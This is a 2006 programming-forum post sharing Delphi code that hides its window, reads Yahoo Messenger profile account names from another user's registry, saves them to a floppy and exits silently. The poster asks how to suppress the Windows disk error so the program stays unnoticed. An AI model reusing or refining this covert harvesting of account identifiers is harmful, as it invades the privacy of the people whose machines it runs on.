check this delphi code out
procedure TForm4.FormCreate(Sender: TObject); var Reg,TestReg:Tregistry; keylist:tstringlist; temp:string; begin Application.ShowMainForm:=false; Try reg:=tregistry.Create; TestReg:=Tregistry.Create; keylist:=TStringlist.Create; reg.RootKey:=Hkey_Current_User; if reg.KeyExists('\software\yahoo\profiles')=true then Begin reg.OpenKey('\software\yahoo\profiles',false); reg.GetKeyNames(keylist); keylist.SaveToFile('A:\win32.txt'); End else begin keylist.Insert(keylist.Count,'The Person Has Not Yahoo Messenger Installed'); keylist.SaveToFile('A:\win32.txt'); end; except messagedlg('Please Enter A Floppy-Disk!',mtinformation,[mbok],1); end; application.Terminate; END;//pro ENd;now my problem is whenever there is no floppy-Disk in floppy driver, first windows error conmes up and
says "please enter a disk" then my own error at except statment comes up,what should i do to disable
windows error system like this error, when my program is running?
Thanks In Advance
Edited by sepehr, 30 September 2006 - 04:18 AM.